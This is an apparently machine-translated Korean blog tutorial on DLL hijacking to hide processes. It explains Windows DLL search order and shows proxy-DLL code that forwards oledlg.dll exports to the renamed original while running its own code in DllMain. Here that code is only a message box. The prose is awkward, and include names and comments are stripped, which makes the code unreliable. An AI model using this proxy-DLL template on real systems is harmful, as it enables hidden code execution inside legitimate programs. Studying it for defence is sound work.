프로세스 숨김: DLL 협착 프로세스 숨김

11210 단어 안전 공방 기술
프로세스 숨김 기술 시리즈의 소개https://blog.csdn.net/weixin_43742894/article/details/105793689이전 글에서 프로세스 숨김 기술에 대해 간단하게 소개했고, 이 글은 DLL 협박을 학습으로 상세하게 실현하기 시작했다.우선, 우리는 DLL 협박이 프로세스를 숨길 수 있다는 것을 알아야 한다. 그러나 이것은 프로세스를 숨길 수 있을 뿐만 아니라 많은 다른 소란 작업도 할 수 있다. 왜냐하면 내가 너의 dll을 모두 협박했기 때문에 무엇을 하려고 하는 것이 간단하지 않겠니?

DLL 스텔스 프로세스

  • 실현원리
  • 어떻게 납치:
  • 로드 순서
  • 고려 사항
  • 코드 구현:
  • 실현 원리


    dll 협박의 목적은 여기서 숨겨진 과정이 틀림없다. 다음은 실현 원리를 이해하기만 하면 된다.프로그램이 실행될 때, 보통 많은 DLL 파일을 불러옵니다. 따라서 만약 우리가 시스템을 호출할 수 있도록 dll을 위조할 수 있다면, 프로그램은 무엇을 해야 하는지, 무엇을 해야 하는지, 그러나 그 안의 일부 물건들은 실제로 우리가 변경했습니다.우리의 함수를 실행할 수만 있다면, 우리는 프로세스가 숨기는 목적을 달성할 수 있다.

    납치 방법:


    프로세스가 DLL을 불러오려고 시도할 때, DLL의 절대 경로가 지정되지 않으면, Windows는 지정한 디렉터리에서 이 dll을 찾으려고 시도합니다. 만약 공격자가 그 중의 어떤 디렉터리를 제어하고 악의적인 dll 파일을 이 디렉터리에 놓으면, 이 악의적인 dll는 프로세스에 불러오고, 프로세스가 dll의 악성코드, 즉 dll 납치라는 것을 실행합니다.

    로드 순서


    Windows 로더가 실행 가능한 모듈의 입력표를 분석할 때 입력표는 dll 이름만 있고 경로가 없다. 윈도우즈 검색 dll 순서는 다음과 같다. 프로그램이 있는 디렉터리->시스템 디렉터리->16비트 시스템 디렉터리->윈도우즈 디렉터리->현재 디렉터리->PATH 환경 변수 중의 각 디렉터리

    주의 사항


    우리는 먼저 원래의 dll와 같은 이름의 dll을 위조하여 같은 출력표를 제공하고 모든 함수가 진정한 시스템 dll을 가리키도록 해야 한다.여기에는 두 가지 방법이 있다.
    방식1: DLL 함수를 모든 예처리 명령에 직접 전달한다. #pragma 명령은 컴파일러의 상태를 설정하거나 컴파일러가 특정한 동작을 완성하도록 지시하고 다음 명령을 통해 전달 함수를 완성하는 작업이다.
    #pragma comment(linker,"/EXPORT:entryname[,@ordinal[,NONAME]][,DATA]")
    
      /EXPORT  ,          ,             ,        .  ,
    
    entryname                   .
    
    ordinal          1-65535     ,      ordinal,         .
    
    NONAME              ,    entryname.
    
    DATA            ,            extern__declspec(dllimport)   
    
    

    메서드2: DLL 함수 호출
    LoadLibrary와 GetProcAddress 함수를 사용하여 함수 주소를 가져오고 실행을 전환합니다.
    extern "C" void __declspec(naked) MessageBoxATest()
    {
        PVOID pAddr=NULL;
        HMODULE hDll=LoadLibraryA("C:\\Windows\\System32\\user32.dll");
        if(NULL != hDll)
        {
            pAddr=GetProcAddress(hDll,"MessageBoxA");
            if(pAddr)
            {
                _asm jmp pAddr
            }
            FreeLibrary(hDll);
        }
    }
    
    

    코드 구현:


    oledlg를 납치하다.dll을 예로 들면, 여기는 전송 함수법을 사용합니다.
    // dllmain.cpp :    DLL         。
    
    #include 
    #define WIN32_LEAN_AND_MEAN             //   Windows              
    // Windows    
    #include 
    
    
    #pragma comment(lib,"User32.lib")
    
    BOOL APIENTRY DllMain(HMODULE hModule,
    	DWORD  ul_reason_for_call,
    	LPVOID lpReserved
    )
    {
    	switch (ul_reason_for_call)
    	{
    	case DLL_PROCESS_ATTACH:
    		::MessageBoxA(NULL, "DLL    ", "Qz", MB_OK | MB_ICONWARNING);
    	case DLL_THREAD_ATTACH:
    	case DLL_THREAD_DETACH:
    	case DLL_PROCESS_DETACH:
    		break;
    	}
    	return TRUE;
    }
    
    //      
    #pragma comment(linker, "/EXPORT:OleUIAddVerbMenuA=Old_oledlg.OleUIAddVerbMenuA")
    #pragma comment(linker, "/EXPORT:OleUICanConvertOrActivateAs=Old_oledlg.OleUICanConvertOrActivateAs")
    #pragma comment(linker, "/EXPORT:OleUIInsertObjectA=Old_oledlg.OleUIInsertObjectA")
    #pragma comment(linker, "/EXPORT:OleUIPasteSpecialA=Old_oledlg.OleUIPasteSpecialA")
    #pragma comment(linker, "/EXPORT:OleUIEditLinksA=Old_oledlg.OleUIEditLinksA")
    #pragma comment(linker, "/EXPORT:OleUIChangeIconA=Old_oledlg.OleUIChangeIconA")
    #pragma comment(linker, "/EXPORT:OleUIConvertA=Old_oledlg.OleUIConvertA")
    #pragma comment(linker, "/EXPORT:OleUIBusyA=Old_oledlg.OleUIBusyA")
    #pragma comment(linker, "/EXPORT:OleUIUpdateLinksA=Old_oledlg.OleUIUpdateLinksA")
    #pragma comment(linker, "/EXPORT:OleUIPromptUserA=Old_oledlg.OleUIPromptUserA")
    #pragma comment(linker, "/EXPORT:OleUIObjectPropertiesA=Old_oledlg.OleUIObjectPropertiesA")
    #pragma comment(linker, "/EXPORT:OleUIChangeSourceA=Old_oledlg.OleUIChangeSourceA")
    #pragma comment(linker, "/EXPORT:OleUIAddVerbMenuW=Old_oledlg.OleUIAddVerbMenuW")
    #pragma comment(linker, "/EXPORT:OleUIBusyW=Old_oledlg.OleUIBusyW")
    #pragma comment(linker, "/EXPORT:OleUIChangeIconW=Old_oledlg.OleUIChangeIconW")
    #pragma comment(linker, "/EXPORT:OleUIChangeSourceW=Old_oledlg.OleUIChangeSourceW")
    #pragma comment(linker, "/EXPORT:OleUIConvertW=Old_oledlg.OleUIConvertW")
    #pragma comment(linker, "/EXPORT:OleUIEditLinksW=Old_oledlg.OleUIEditLinksW")
    #pragma comment(linker, "/EXPORT:OleUIInsertObjectW=Old_oledlg.OleUIInsertObjectW")
    #pragma comment(linker, "/EXPORT:OleUIObjectPropertiesW=Old_oledlg.OleUIObjectPropertiesW")
    #pragma comment(linker, "/EXPORT:OleUIPasteSpecialW=Old_oledlg.OleUIPasteSpecialW")
    #pragma comment(linker, "/EXPORT:OleUIPromptUserW=Old_oledlg.OleUIPromptUserW")
    #pragma comment(linker, "/EXPORT:OleUIUpdateLinksW=Old_oledlg.OleUIUpdateLinksW")
    //23
    

    좋은 웹페이지 즐겨찾기